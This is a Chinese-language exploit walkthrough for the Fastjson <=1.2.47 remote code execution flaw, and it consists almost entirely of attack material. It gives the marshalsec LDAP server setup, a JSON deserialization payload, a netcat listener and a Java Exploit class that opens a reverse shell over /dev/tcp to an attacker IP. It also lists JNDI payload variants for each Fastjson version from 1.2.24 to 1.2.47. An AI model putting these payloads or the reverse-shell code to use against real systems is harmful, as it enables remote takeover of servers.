Fastjson \<=1.2.47 远程代码执行漏洞¶

一、漏洞简介¶

二、漏洞影响¶

Fastjson \< 1.2.47

三、复现过程¶

https://github.com/ianxtianxt/fastjson-1.2.47-RCE-1

执行：

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java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://IPvps/#Exploit

1.png

修改反弹ip和端口：

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vim Exploit.java

编译生成class：//需要使用jdk1.8，否则会报错

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javac Exploit.java

开启http服务：

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python3 -m http.server 80 或者 python -m SimpleHTTPServer 80

payload:

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{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://ip:1389/Exploit","autoCommit":true}}}

开启nc监听反弹：

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nc -lvvp 8888

反弹shell poc补充¶

java反弹shell，无法直接使用bash -i >& /dev/tcp/攻击服务器ip/8888 0>&1¶

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/攻击服务器ip/888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

补充¶

https://github.com/ianxtianxt/Fastjson-1.2.47-rce

1.2.24
{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true}}

未知版本(1.2.24-41之间)
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.41
{"@type":"Lcom.sun.rowset.RowSetImpl;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}

1.2.42
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true};

1.2.43
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true]}

1.2.45
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://localhost:1099/Exploit"}}

1.2.47
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}}